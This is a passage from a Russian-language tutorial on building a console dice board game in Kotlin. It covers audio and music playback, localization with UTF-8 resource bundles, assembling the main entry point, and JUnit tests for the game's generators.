Подобно звуковым эффектам, она играет огромную роль в создании атмосферы игры, и точно также прекрасную игру можно загубить неподходящей музыкой. Как и звуки, музыка должна быть ненавязчивой, не выходить на первый план (кроме случаев, когда это необходимо для художественного эффекта) и адекватно соответствовать творящемуся на экране действу (не надейтесь, что кто-то всерьез проникнется судьбой попавшего в засаду и безжалостно убитого главного героя, если сцена его трагической гибели будет сопровождаться веселой музычкой из детской песенки). Добиться этого весьма непросто, специально обученные люди занимаются такими вопросами (мы с ними незнакомы), но и мы, как начинающие гении игростроя, тоже чего-то можем. Например, зайти куда-нибудь на [freemusicarchive.org](http://freemusicarchive.org/) или [soundcloud.com](https://soundcloud.com) (или даже YouTube) и найти что-нибудь по душе. Для настолок хорошим выбором будет ambient — тихая плавная музыка без выраженной мелодии, хорошо подходящая для создания фона. Вдвойне обращайте внимание на лицензию: даже бесплатную музыку порой пишут талантливые композиторы, заслуживающие если и не денежного вознаграждения, то по крайней мере всеобщего признания.
Создадим еще одно перечисление:
```
enum class Music {
SCENARIO_MUSIC_1,
SCENARIO_MUSIC_2,
SCENARIO_MUSIC_3,
}
```
Аналогичным образом определим интерфейс и его реализацию по умолчанию.
```
interface MusicPlayer {
fun play(music: Music)
fun stop()
}
class MuteMusicPlayer : MusicPlayer {
override fun play(music: Music) {
//Do nothing
}
override fun stop() {
//Do nothing
}
}
```
Обратите внимание, в этом случае нужны два метода: один для начала воспроизведения, другой для его остановки. Также вполне возможно, в дальнейшем пригодятся дополнительные методы (пауза/возобновление, перемотка итп), но пока что хватит и этих двух.
Каждый раз передавать ссылки на классы-проигрыватели между объектами может показаться не очень удобным решением. В единицу времени нам нужен лишь один экзепмляр проигрывателя, а потому рискну предложить вынести все необходимые для воспроизведения звуков и музыки методы в отдельный объект и сделать его *одиночкой* (singleton). Таким образом отвечающая за аудио подсистема всегда доступна из любого места приложения без постоянной передачи ссылок на один и тот же экземпляр. Выглядеть это будет например так:
**Диаграмма классов системы воспроизведения аудио**[](https://habrastorage.org/webt/ie/jf/86/iejf862lemxbjw9vm5ozkq7ow4k.png)
Класс `Audio` — это и есть наш singleton. Он предоставляет единый фасад к подсистеме… кстати, вот *фасад* (facade) — еще один паттерн проектирования, досконально проработанный и неоднократно описанный (с примерами) в этих ваших интернетах. Потому, уже слыша недовольные крики с задних рядов, я прекращаю растолковывать давным-давно известные вещи и двигаюсь дальше. Код вот:
```
object Audio {
private var soundPlayer: SoundPlayer = MuteSoundPlayer()
private var musicPlayer: MusicPlayer = MuteMusicPlayer()
fun init(soundPlayer: SoundPlayer, musicPlayer: MusicPlayer) {
this.soundPlayer = soundPlayer
this.musicPlayer = musicPlayer
}
fun playSound(sound: Sound) = this.soundPlayer.play(sound)
fun playMusic(music: Music) = this.musicPlayer.play(music)
fun stopMusic() = this.musicPlayer.stop()
}
```
Достаточно вызвать `init()` один-единственный раз где-то в самом начале (инициализировав его нужными объектами) и в дальнейшем пользоваться удобными методами, полностью забыв о подробностях реализации. Даже если вы этого не сделаете, не волнуйтесь, система на умрет — объект будет инициализирован классами по умолчанию.
Вот и все. Осталось разобраться собственно с воспроизведением. Что касается проигрывания звуков (или, как говорят умные люди, *сэмплов*), то в Java есть удобный класс `AudioSystem` и интерфейс `Clip`. Все, что нам нужно, это правильно прописать путь к аудио-файлу (который лежит у нас в classpath, помните?):
```
import javax.sound.sampled.AudioSystem
class BasicSoundPlayer : SoundPlayer {
private fun pathToFile(sound: Sound) = "/sound/${sound.toString().toLowerCase()}.wav"
override fun play(sound: Sound) {
val url = javaClass.getResource(pathToFile(sound))
val audioIn = AudioSystem.getAudioInputStream(url)
val clip = AudioSystem.getClip()
clip.open(audioIn)
clip.start()
}
}
```
Метод `open()` может выбросить `IOException` (особенно если ему чем-то не понравился формат файла — в этом случае рекомендую открыть файл в аудио-редакторе и пересохранить), поэтому его неплохо бы обернуть в блок `try-catch`, но мы на первых порах не станем этого делать, чтоб приложение громко падало каждый раз при проблемах со звуком.
*«Я даже не знаю, что сказать...»*
С музыкой дела обстоят намного хуже. Насколько мне известно, стандартного способа проигрывания музыкальных файлов (например, в формате mp3) в Java нет, поэтому вам в любом случае придется пользоваться сторонней библиотекой (коих десятки разных). Нам подойдет любая легковесная с минимальным функционалом, например довольно популярная [JLayer](http://www.javazoom.net/javalayer/javalayer.html). Добавим ее в зависимости:
```
com.googlecode.soundlibs
jlayer
1.0.1.4
compile
```
И реализуем с ее помощью наш проигрыватель.
```
class BasicMusicPlayer : MusicPlayer {
private var currentMusic: Music? = null
private var thread: PlayerThread? = null
private fun pathToFile(music: Music) = "/music/${music.toString().toLowerCase()}.mp3"
override fun play(music: Music) {
if (currentMusic == music) {
return
}
currentMusic = music
thread?.finish()
Thread.yield()
thread = PlayerThread(pathToFile(music))
thread?.start()
}
override fun stop() {
currentMusic = null
thread?.finish()
}
// Thread responsible for playback
private inner class PlayerThread(private val musicPath: String) : Thread() {
private lateinit var player: Player
private var isLoaded = false
private var isFinished = false
init {
isDaemon = true
}
override fun run() {
loop@ while (!isFinished) {
try {
player = Player(javaClass.getResource(musicPath).openConnection().apply {
useCaches = false
}.getInputStream())
isLoaded = true
player.play()
} catch (ex: Exception) {
finish()
break@loop
}
player.close()
}
}
fun finish() {
isFinished = true
this.interrupt()
if (isLoaded) {
player.close()
}
}
}
}
```
Во-первых, данная библиотека выполняет воспроизведение синхронно, блокируя основной поток до тех пор, пока не будет достигнут конца файла. Поэтому мы должны реализовать отдельный поток (`PlayerThread`), причем сделать его «необязательным» (демоном), чтобы он ни в коем случае не мешал приложению досрочно завершаться. Во-вторых, в коде проигрывателя сохраняется идентификатор проигрываемого в данный момент музыкального файла (`currentMusic`). Если вдруг придет повторная команда на его воспроизведение, мы не будем начинать проигрывание с самого начала. В-третьих, по достижении конца музыкального файла его воспроизведение начнется заново — и так до тех пор, пока поток не будет явно остановлен командой `finish()` (или пока не завершатся другие потоки, о чем уже было сказано). В-четвертых, хоть приведенный код и изобилует кажущимися ненужными флагами и командами, он тщательно отлажен и протестирован — проигрыватель работает как положено, не тормозит систему, не прерывается внезапно на полпути, не приводит к утечкам памяти, не содержит генно-модифицированных объектов, сияет свежестью и чистотой. Берите и смело пользуйтесь в своих проектах.
Шаг двенадцатый. Локализация
----------------------------
Наша игра почти готова, но играть в нее никто не будет. Почему?
*«Русского нет!.. Нет русского!.. Добавьте русский язык!.. Разрабы псы!»*
Откройте страницу любой интересной сюжетной игры (особенно мобильной) на сайте магазина и почитайте отзывы. Станут ли там хвалить потрясающую, заботливо нарисованную от руки графику? Или поражаться атмосферности звукового сопровождения? Или обсуждать захватывающий сюжет, который затягивает с первой минуты и не отпускает до самого конца?
Нет. Недовольные «игроки» наставят кучу единиц и вообще удалят игру. А то еще и деньги назад потребуют — и все это по одной простой причине. Да, вы забыли перевести свой шедевр на все 95 мировых языков. А вернее, на тот единственный, носители которого кричат громче всех. И всё! Понимаете? Месяцы кропотливой работы, долгие бессонные ночи, постоянные нервные срывы — все это хомяку под хвост. Вы лишились огромного количества игроков и это уже никак не исправить.
Поэтому думайте заранее. Определитесь со своей целевой аудиторией, выберите несколько основных языков, закажите услуги переводчика… в общем, делайте все то, что не раз описывали в тематических статьях другие люди (поумнее меня). Мы же сосредоточимся на технической стороне вопроса и поговорим о том, как безболезненно произвести локализацию своего продукта.
Первым делом залезем в шаблоны. Помните, раньше названия и описания хранились в виде простых `String`? Теперь так не пойдет. Помимо языка по умолчанию, вам также необходимо предоставить перевод на все языки, какие вы планируете поддерживать. Например, вот так:
```
class TestEnemyTemplate : EnemyTemplate {
override val name = "Test enemy"
override val description = "Some enemy standing in your way."
override val nameLocalizations = mapOf(
"ru" to "Враг какой-то",
"ar" to "بعض العدو",
"iw" to "איזה אויב",
"zh" to "一些敵人",
"ua" to "Підступна тварюка"
)
override val descriptionLocalizations = mapOf(
"ru" to "Описание какого-то врага.",
"ar" to "وصف العدو",
"iw" to "תיאור האויב",
"zh" to "一些敵人的描述",
"ua" to "Воно стоїть і дивиться на тебе."
)
override val traits = listOf()
}
```
Для шаблонов такой подход вполне подойдет. Если не хотите указывать перевод для какого-то языка, то и не нужно — всегда есть значение по умолчанию. Однако в конечных объектах не хотелось бы разносить строки на несколько разных полей. Поэтому оставим одно, но заменим его тип.
```
class LocalizedString(defaultValue: String, localizations: Map) {
private val default: String = defaultValue
private val values: Map = localizations.toMap()
operator fun get(lang: String) = values.getOrDefault(lang, default)
override fun equals(other: Any?) = when {
this === other -> true
other !is LocalizedString -> false
else -> default == other.default
}
override fun hashCode(): Int {
return default.hashCode()
}
}
```
И подправим соответствующим образом код генератора.
```
fun generateEnemy(template: EnemyTemplate) = Enemy().apply {
name = LocalizedString(template.name, template.nameLocalizations)
description = LocalizedString(template.description, template.descriptionLocalizations)
template.traits.forEach { addTrait(it) }
}
```
Естественно, такой же подход следует применить и к оставшимся типам шаблонов. Когда изменения готовы, пользоваться ими можно без труда.
```
val language = Locale.getDefault().language
val enemyName = enemy.name[language]
```
В нашем примере мы предоставили упрощенный вариант локализации, где учитывается только язык (language). Вообще же объекты класса `Locale` задают также страну и регион. Если в вашем приложении это принципиально, то ваш `LocalizedString` будет выглядеть слегка по-другому, но нас и так устраивает.
С шаблонами разобрались, осталось локализовать и служебные строки, использующиеся в нашем приложении. К счастью, `ResourceBundle` уже содержит все необходимые механизмы. Нужно лишь подготовить файлы с переводами и изменить способ их загрузки.
```
# Game status messages
choose_dice_perform_check=Выберите кубики для прохождения проверки:
end_of_turn_discard_extra=КОНЕЦ ХОДА: Сбросьте лишние кубики:
end_of_turn_discard_optional=КОНЕЦ ХОДА: Сбросьте кубики по желанию:
choose_action_before_exploration=Выберите, что делать:
choose_action_after_exploration=Исследование завершено. Что делать дальше?
encounter_physical=Встречен ФИЗИЧЕСКИЙ кубик. Необходимо пройти проверку.
encounter_somatic=Встречен СОМАТИЧЕСКИЙ кубик. Необходимо пройти проверку.
encounter_mental=Встречен МЕНТАЛЬНЫЙ кубик. Необходимо пройти проверку.
encounter_verbal=Встречен ВЕРБАЛЬНЫЙ кубик. Необходимо пройти проверку.
encounter_divine=Встречен БОЖЕСТВЕННЫЙ кубик. Можно взять без проверки:
die_acquire_success=Вы получили новый кубик!
die_acquire_failure=Вам не удалось получить кубик.
game_loss_out_of_time=У вас закончилось время
# Die types
physical=ФИЗИЧЕСКИЙ
somatic=СОМАТИЧЕСКИй
mental=МЕНТАЛЬНЫЙ
verbal=ВЕРБАЛЬНЫЙ
divine=БОЖЕСТВЕННЫЙ
ally=СОЮЗНИК
wound=РАНА
enemy=ВРАГ
villain=ЗЛОДЕЙ
obstacle=ПРЕПЯТСТВИЕ
# Hero types and descriptions
brawler=Забияка
hunter=Охотник
# Various labels
avg=сред
bag=Сумка
bag_size=Размер сумки
class=Класс
closed=Закрыто
discard=Сброс
empty=Пусто
encountered=На пути
fail=Неудача
hand=Рука
heros_turn=Ходит %s
max=макс
min=мин
perform_check=Пройдите проверку:
pile=Куча
received_new_die=Получен новый кубик
result=Результат
success=Успех
sum=сумм
time=Время
total=Итого
# Action names and descriptions
action_confirm_key=ENTER
action_confirm_name=Подтвердить
action_cancel_key=ESC
action_cancel_name=Отменить
action_explore_location_key=E
action_explore_location_name=Исследовать
action_finish_turn_key=F
action_finish_turn_name=Завершить ход
action_hide_key=H
action_bag_name=Спрятать
action_discard_key=D
action_discard_name=Сбросить
action_acquire_key=A
action_acquire_name=Приобрести
action_leave_key=L
action_leave_name=Уйти
action_forfeit_key=F
action_forfeit_name=Отказаться
```
Скажу не для протокола: составлять фразы на русском языке намного сложнее, чем на английском. Если стоит требование использовать существительное в определеммом падеже или абстрагироваться от рода (а такие требования обязательно будут стоять), придется порядком попотеть прежде чем получить результат, который во-первых, соответствует требованиям, а во-вторых, не выглядит как механический перевод, выполненный киборгом с куриными мозгами. Также обратите внимание, что мы не меняем клавиши действий — по-прежнему для выполнения последних будут использоваться те же самые символы, что и в английском языке (которые, кстати, не будут работать в отличной от латинской раскладке клавиатуры, но это уже не наше дело — пока что оставим как есть).
```
class PropertiesStringLoader(locale: Locale) : StringLoader {
private val properties = ResourceBundle.getBundle("text.strings", locale)
override fun loadString(key: String) = properties.getString(key) ?: ""
}
```
.
Как уже было сказано, `ResourceBundle` сам возьмет на себя обязанность найти среди файлов локализаций ту единственную, которая наиболее соответствует текущей локали. А если не найдет — возьмет файл по умолчанию (`string.properties`). И все будет хорошо…
**Ага! Не тут то было!**Увы, поддержка Unicode в файлах `.properties` появилась только начиная с Java 9. До этого единственной поддерживаемой кодировкой была ISO-8859-1 — `ResourceBundle` открывает файлы только в ней. Кодировка однобайтная, потому ни о какой кирилице, ни тем более о иероглифах не может быть и речи — мы жестко ограничены единственным языком. Для всех остальных символов придется использовать Unicode-последовательности — ну, вы знаете, вот эти вот: `'\uXXXX'`. К огромной нашей радости, заниматься кодированием вручную нам не придется, так как Java имеет в своем арсенале замечательное приложение **native2ascii**, автоматически заменяющее все неподдерживаемые символы на соответствующие последовательности. В итоге наш файл примет вот такой веселый вид:
```
# Game status messages
choose_dice_perform_check=\u0412\u044b\u0431\u0435\u0440\u0438\u0442\u0435 \u043a\u0443\u0431\u0438\u043a\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438:
end_of_turn_discard_extra=\u041a\u041e\u041d\u0415\u0426 \u0425\u041e\u0414\u0410: \u0421\u0431\u0440\u043e\u0441\u044c\u0442\u0435 \u043b\u0438\u0448\u043d\u0438\u0435 \u043a\u0443\u0431\u0438\u043a\u0438:
end_of_turn_discard_optional=\u041a\u041e\u041d\u0415\u0426 \u0425\u041e\u0414\u0410: \u0421\u0431\u0440\u043e\u0441\u044c\u0442\u0435 \u043a\u0443\u0431\u0438\u043a\u0438 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e:
choose_action_before_exploration=\u0412\u044b\u0431\u0435\u0440\u0438\u0442\u0435, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:
choose_action_after_exploration=\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e. \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435?
encounter_physical=\u0412\u0441\u0442\u0440\u0435\u0447\u0435\u043d \u0424\u0418\u0417\u0418\u0427\u0415\u0421\u041a\u0418\u0419 \u043a\u0443\u0431\u0438\u043a. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.
encounter_somatic=\u0412\u0441\u0442\u0440\u0435\u0447\u0435\u043d \u0421\u041e\u041c\u0410\u0422\u0418\u0427\u0415\u0421\u041a\u0418\u0419 \u043a\u0443\u0431\u0438\u043a. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.
encounter_mental=\u0412\u0441\u0442\u0440\u0435\u0447\u0435\u043d \u041c\u0415\u041d\u0422\u0410\u041b\u042c\u041d\u042b\u0419 \u043a\u0443\u0431\u0438\u043a. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.
encounter_verbal=\u0412\u0441\u0442\u0440\u0435\u0447\u0435\u043d \u0412\u0415\u0420\u0411\u0410\u041b\u042c\u041d\u042b\u0419 \u043a\u0443\u0431\u0438\u043a. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.
encounter_divine=\u0412\u0441\u0442\u0440\u0435\u0447\u0435\u043d \u0411\u041e\u0416\u0415\u0421\u0422\u0412\u0415\u041d\u041d\u042b\u0419 \u043a\u0443\u0431\u0438\u043a. \u041c\u043e\u0436\u043d\u043e \u0432\u0437\u044f\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438:
die_acquire_success=\u0412\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u043a\u0443\u0431\u0438\u043a!
die_acquire_failure=\u0412\u0430\u043c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u0443\u0431\u0438\u043a.
game_loss_out_of_time=\u0423 \u0432\u0430\u0441 \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u043e\u0441\u044c \u0432\u0440\u0435\u043c\u044f
```
Вижу как текут ваши слюнки в предвкушении поддержки всего этого добра. Сконвертировать файл один раз — дело несложное. Постоянно вносить изменения — легче повеситься. К счастью, некоторые IDE способны делать такие (и обратные) преобразования «на лету», но легче от этого не становится — иногда так хочется открыть файлик в любимом текстовом редакторе и быстренько что-то подправить (делаю это постоянно), не запуская громоздкую IDE, а тут такой облом.
Не волнуйтесь, выход есть. Метод `getBundle()`, который мы доселе использовали, имеет перегруженную версию, принимающую третьим параметром объект класса `ResourceBundle.Control` — он-то и занимается разными низкоуровневыми вещами на этапе загрузки файлов.
```
class PropertiesStringLoader(locale: Locale) : StringLoader {
private val properties = ResourceBundle.getBundle(
"text.strings",
locale,
Utf8ResourceBundleControl())
override fun loadString(key: String) = properties.getString(key) ?: ""
}
```
И, собственно, сама реализация:
```
class Utf8ResourceBundleControl : ResourceBundle.Control() {
@Throws(IllegalAccessException::class, InstantiationException::class, IOException::class)
override fun newBundle(baseName: String, locale: Locale, format: String, loader: ClassLoader, reload: Boolean): ResourceBundle? {
val bundleName = toBundleName(baseName, locale)
return when (format) {
"java.class" -> super.newBundle(baseName, locale, format, loader, reload)
"java.properties" ->
with((if ("://" in bundleName) null else toResourceName(bundleName, "properties")) ?: return null) {
when {
reload -> reload(this, loader)
else -> loader.getResourceAsStream(this)
}?.let { stream -> InputStreamReader(stream, "UTF-8").use { r -> PropertyResourceBundle(r) } }
}
else -> throw IllegalArgumentException("Unknown format: $format")
}
}
@Throws(IOException::class)
private fun reload(resourceName: String, classLoader: ClassLoader): InputStream {
classLoader.getResource(resourceName)?.let { url ->
url.openConnection().let { connection ->
connection.useCaches = false
return connection.getInputStream()
}
}
throw IOException("Unable to load data!")
}
}
```
Даже не спрашивайте меня, что здесь происходит… вернее, спрашивайте (в комментариях) — охотно расскажу (я люблю Kotlin и его безумные конструкции). Или сами разберитесь — главное, что теперь можно смело сохранять локализованные `.properties` в кодировке UTF-8 без какой-либо конвертации.
Для тестирования работы приложения на разных языках не обязательно менять настройки операционной системы — достаточно указать требуемый язык при запуске JRE:
```
java -Duser.language=ru -jar path_to_project\Dice\target\dice-1.0-jar-with-dependencies.jar
```
**Если вы все еще работаете в Windows, ждите проблем**По умолчанию, стандартная консоль Windows (cmd.exe) работает с кодовой страницей 437 (это однобайтная кодировка DOSLatinUS), где нет символов кирилицы — вместо русских букв вы увидите кракозябры. К счастью, UTF-8 поддерживается, но для ее использования кодовую страницу необходимо переключить:
```
chcp 65001
```
Ну и поскольку Java сильно умная, она все еще считает, что в консоли используется кодировка по умолчанию. Нужно ее в этом разубедить:
```
java -Dfile.encoding=UTF-8 -Duser.language=ru -jar path_to_project\Dice\target\dice-1.0-jar-with-dependencies.jar
```
А еще убедитесь, что в настройках консоли выбран шрифт, поддерживающий Unicode-символы (например, Lucida Console)
После всех наших волнительных приключений, полученный результат можно с гордостью продемонстрировать широкой общественности и громко заявить: «Мы не псы!»
**Расово-верный вариант**[](https://habrastorage.org/webt/ap/92/qd/ap92qdlfulptfgjg_-ms3ejqddm.png)
И это хорошо.
Шаг тринадцатый. Собираем все вместе
------------------------------------
Внимательные читатели, должно быть, заметили, что названия конкретных пакетов я упомянул лишь единожды и больше ни разу к ним не возвращался. Во-первых, каждый разработчик имеет собственные соображения касательно того, какой класс в каком пакете должен располагаться. Во-вторых, по мере работы над проектом, с добавлением все новых и новых классов ваши соображения будут меняться. В-третьих, менять структуру приложения просто и дешево (да и современные системы контроля версий обнаружат перенос, так что историю вы не потеряете), потому смело меняйте названия классов, пакетов, методов и переменных — не забывайте только документацию обновлять (вы ж ее ведете, правда?).
А нам осталось лишь собрать воедино и запустить наш проект. Как вы помните, метод `main()` мы уже создали, теперь наполним его содержимым. Нам понадобятся:
* сценарий и местности;
* герои;
* реализация интерфейса `GameInteractor`;
* реализации интерфейсов `GameRenderer` и `StringLoader`;
* реализации интерфейсов `SoundPlayer` и `MusicPlayer`;
* объект класса `Game`;
* бутылка шампанского.
Поехали!
```
fun main(args: Array) {
Audio.init(BasicSoundPlayer(), BasicMusicPlayer())
val loader = PropertiesStringLoader(Locale.getDefault())
val renderer = ConsoleGameRenderer(loader)
val interactor = ConsoleGameInteractor()
val template = TestScenarioTemplate()
val scenario = generateScenario(template, 1)
val locations = generateLocations(template, 1, heroes.size)
val heroes = listOf(
generateHero(Hero.Type.BRAWLER, "Brawler"),
generateHero(Hero.Type.HUNTER, "Hunter")
)
val game = Game(renderer, interactor, scenario, locations, heroes)
game.start()
}
```
Запускаем и наслаждаемся первым рабочим прототипом. Вот так-то.
Шаг четырнадцатый. Игровой баланс
---------------------------------
Эммм…
Шаг пятнадцатый. Тесты
----------------------
Теперь, когда основная часть кода первого рабочего прототипа написана, неплохо бы добавить парочку модульных тестов…
*«Как? Только сейчас? Да тесты нужно было в самом начале писать, а потом уже код!»*
Многие читатели справедливо заметят, что написание модульных тестов должно предварять разработку рабочего кода (TDD и прочие модные методологии). Другие возмутятся: нечего людям мозги дурить своими тестами, пусть хотя б что-то разрабатывать начнут, иначе вся мотивация пропадет. Еще пара-тройка человек вылезет из щели в плинтусе и робко сообщит: «я вообще не понимаю, зачем эти тесты нужны — у меня и так все работает»… После чего будут двинуты сапогом в лицо и быстренько запихнуты обратно. Я не стану начинать идеологических противостояний (их и так уже полным полно на просторах интернета), а потому отчасти соглашусь со всеми. Да, тесты иногда полезны (особенно в коде, который часто меняется или связан со сложными вычислениями), да, модульное тестирование подходит не для всего кода (например, оно не покрывает взаимодействий с пользователем или внешними системами), да, кроме модульного тестирования есть еще много других его видов (ну-ка, назвали хотя бы пять), и да, мы не будем акцентировать внимание на написании тестов — наша статья о другом.
Скажем так: многие программисты (особенно начинающие) пренебрегают тестами. Многие оправдывают себя тем, что функциональность их приложений плохо покрывается тестами. Например, чем городить сложные конструкции с участием специализированных фреймворков для тестирования пользовательского интерфейса (а такие есть), гораздо проще запустить приложение и посмотреть, все ли в порядке с внешним видом и взаимодействием. И я вам скажу, когда я занимался реализацией интерфейсов `Renderer` — я именно так и делал. Однако есть среди нашего кода такие методы, для которых отлично подходит концепция модульного тестирования.
Например, генераторы. Причем все. Это ж идеальный черный ящик: на вход подаются шаблоны, на выходе получаются объекты игрового мира. Внутри происходит невесть что, но именно его нам и нужно тестировать. Например, вот так:
```
public class DieGeneratorTest {
@Test
public void testGetMaxLevel() {
assertEquals("Max level should be 3", 3, DieGeneratorKt.getMaxLevel());
}
@Test
public void testDieGenerationSize() {
DieTypeFilter filter = new SingleDieTypeFilter(Die.Type.ALLY);
List extends List<Integer> allowedSizes = Arrays.asList(
null,
Arrays.asList(4, 6, 8),
Arrays.asList(4, 6, 8, 10),
Arrays.asList(6, 8, 10, 12)
);
IntStream.rangeClosed(1, 3).forEach(level -> {
for (int i = 0; i < 10; i++) {
int size = DieGeneratorKt.generateDie(filter, level).getSize();
assertTrue("Incorrect level of die generated: " + size, allowedSizes.get(level).contains(size));
assertTrue("Incorrect die size: " + size, size >= 4);
assertTrue("Incorrect die size: " + size, size <= 12);
assertTrue("Incorrect die size: " + size, size % 2 == 0);
}
});
}
@Test
public void testDieGenerationType() {
List allowedTypes1 = Arrays.asList(Die.Type.PHYSICAL);
List allowedTypes2 = Arrays.asList(Die.Type.PHYSICAL, Die.Type.SOMATIC, Die.Type.MENTAL, Die.Type.VERBAL);
List allowedTypes3 = Arrays.asList(Die.Type.ALLY, Die.Type.VILLAIN, Die.Type.ENEMY);
for (int i = 0; i < 10; i++) {
Die.Type type1 = DieGeneratorKt.generateDie(new SingleDieTypeFilter(Die.Type.PHYSICAL), 1).getType();
assertTrue("Incorrect die type: " + type1, allowedTypes1.contains(type1));
Die.Type type2 = DieGeneratorKt.generateDie(new StatsDieTypeFilter(), 1).getType();
assertTrue("Incorrect die type: " + type2, allowedTypes2.contains(type2));
Die.Type type3 = DieGeneratorKt.generateDie(new MultipleDieTypeFilter(Die.Type.ALLY, Die.Type.VILLAIN, Die.Type.ENEMY), 1).getType();
assertTrue("Incorrect die type: " + type3, allowedTypes3.contains(type3));
}
}
}
```
Или так:
```
public class BagGeneratorTest {
@Test
public void testGenerateBag() {
BagTemplate template1 = new BagTemplate();
template1.addPlan(0, 10, new SingleDieTypeFilter(Die.Type.PHYSICAL));
template1.addPlan(5, 5, new SingleDieTypeFilter(Die.Type.SOMATIC));
template1.setFixedDieCount(null);
BagTemplate template2 = new BagTemplate();
template2.addPlan(10, 10, new SingleDieTypeFilter(Die.Type.DIVINE));
template2.setFixedDieCount(5);
BagTemplate template3 = new BagTemplate();
template3.addPlan(10, 10, new SingleDieTypeFilter(Die.Type.ALLY));
template3.setFixedDieCount(50);
for (int i = 0; i < 10; i++) {
Bag bag1 = BagGeneratorKt.generateBag(template1, 1);
assertTrue("Incorrect bag size: " + bag1.getSize(), bag1.getSize() >= 5 && bag1.getSize() <= 15);
assertEquals("Incorrect number of SOMATIC dice", 5, bag1.examine().stream().filter(d -> d.getType() == Die.Type.SOMATIC).count());
Bag bag2 = BagGeneratorKt.generateBag(template2, 1);
assertEquals("Incorrect bag size", 5, bag2.getSize());
Bag bag3 = BagGeneratorKt.generateBag(template3, 1);
assertEquals("Incorrect bag size", 50, bag3.getSize());
List dieTypes3 = bag3.examine().stream().map(Die::getType).distinct().collect(Collectors.toList());
assertEquals("Incorrect die types", 1, dieTypes3.size());
assertEquals("Incorrect die types", Die.Type.ALLY, dieTypes3.get(0));
}
}
}
```
Или даже так:
```
public class LocationGeneratorTest {
private void testLocationGeneration(String name, LocationTemplate template) {
System.out.println("Template: " + template.getName());
assertEquals("Incorrect template type", name, template.getName());
IntStream.rangeClosed(1, 3).forEach(level -> {
Location location = LocationGeneratorKt.generateLocation(template, level);
assertEquals("Incorrect location type", name, location.getName().get(""));
assertTrue("Location not open by default", location.isOpen());
int closingDifficulty = location.getClosingDifficulty();
assertTrue("Closing difficulty too small", closingDifficulty > 0);
assertEquals("Incorrect closing difficulty", closingDifficulty, template.getBasicClosingDifficulty() + level * 2);
Bag bag = location.getBag();
assertNotNull("Bag is null", bag);
assertTrue("Bag is empty", location.getBag().getSize() > 0);
Deck enemies = location.getEnemies();
assertNotNull("Enemies are null", enemies);
assertEquals("Incorrect enemy threat count", enemies.getSize(), template.getEnemyCardsCount());
if (bag.drawOfType(Die.Type.ENEMY) != null) {
assertTrue("Enemy cards not specified", enemies.getSize() > 0);
}
Deck obstacles = location.getObstacles();
assertNotNull("Obstacles are null", obstacles);
assertEquals("Incorrect obstacle threat count", obstacles.getSize(), template.getObstacleCardsCount());
List specialRules = location.getSpecialRules();
assertNotNull("SpecialRules are null", specialRules);
});
}
@Test
public void testGenerateLocation() {
testLocationGeneration("Test Location", new TestLocationTemplate());
testLocationGeneration("Test Location 2", new TestLocationTemplate2());
}
}
```
*«Стоп, стоп, стоп! Это что? Java???»*
Вы поняли. Причем как раз такого рода тесты хорошо писать в начале, перед тем как вы начнете реализовывать, собственно, генератор. Конечно, тестируемый код достаточно прост и скорее всего метод заработает с первого раза и без всяких тестов, но написав тест один раз вы ~~о нем навсегда забудете~~ обезопасите себя от любых возможных проблем в будущем (решение которых отбирает уйму времени, особенно когда с момента начала разработки прошло пять лет и вы уже забыли, как там все внутри метода работает). И если вдруг когда-нибудь ваш проект перестанет собираться из-за проваленных тестов, ты вы однозначно будете знать причину: поменялись требования к системе и ваши старые тесты им больше не удовлетворяют (а вы о чем подумали?).
И еще. Помните, класс `HandMaskRule` и его наследников? А теперь представьте, что в какой-то момент для использования навыка герою необходимо взять из руки три кубика, причем типы этих кубиков заняты жесткими ограничениями (например, «первый кубик должен быть синим, зеленым или белым, второй — желтым, белым или голубым, а третий — синим или фиолетовым» — чуете сложность?). Как подойти к реализации класса? Ну… для начала можете определиться с входными и выходными параметрами. Очевидно, нужно, чтобы класс принимал три массива (или набора), каждый из которых содержит допустимые типы для, соответственно, первого, второго и третьего кубиков. А дальше что? Переборы? Рекурсии? А вдруг что-то пропущу? Сделайте глубокий вход. Теперь отложите реализацию методов класса и напишите тест — благо требования просты, понятны и хорошо формализуемы. А лучше напишите несколько тестов… Но мы рассмотрим один, вот такой например:
```
public class TripleDieHandMaskRuleTest {
private Hand hand;
@Before
public void init() {
hand = new Hand(10);
hand.addDie(new Die(Die.Type.PHYSICAL, 4)); //0
hand.addDie(new Die(Die.Type.PHYSICAL, 4)); //1
hand.addDie(new Die(Die.Type.SOMATIC, 4)); //2
hand.addDie(new Die(Die.Type.SOMATIC, 4)); //3
hand.addDie(new Die(Die.Type.MENTAL, 4)); //4
hand.addDie(new Die(Die.Type.MENTAL, 4)); //5
hand.addDie(new Die(Die.Type.VERBAL, 4)); //6
hand.addDie(new Die(Die.Type.VERBAL, 4)); //7
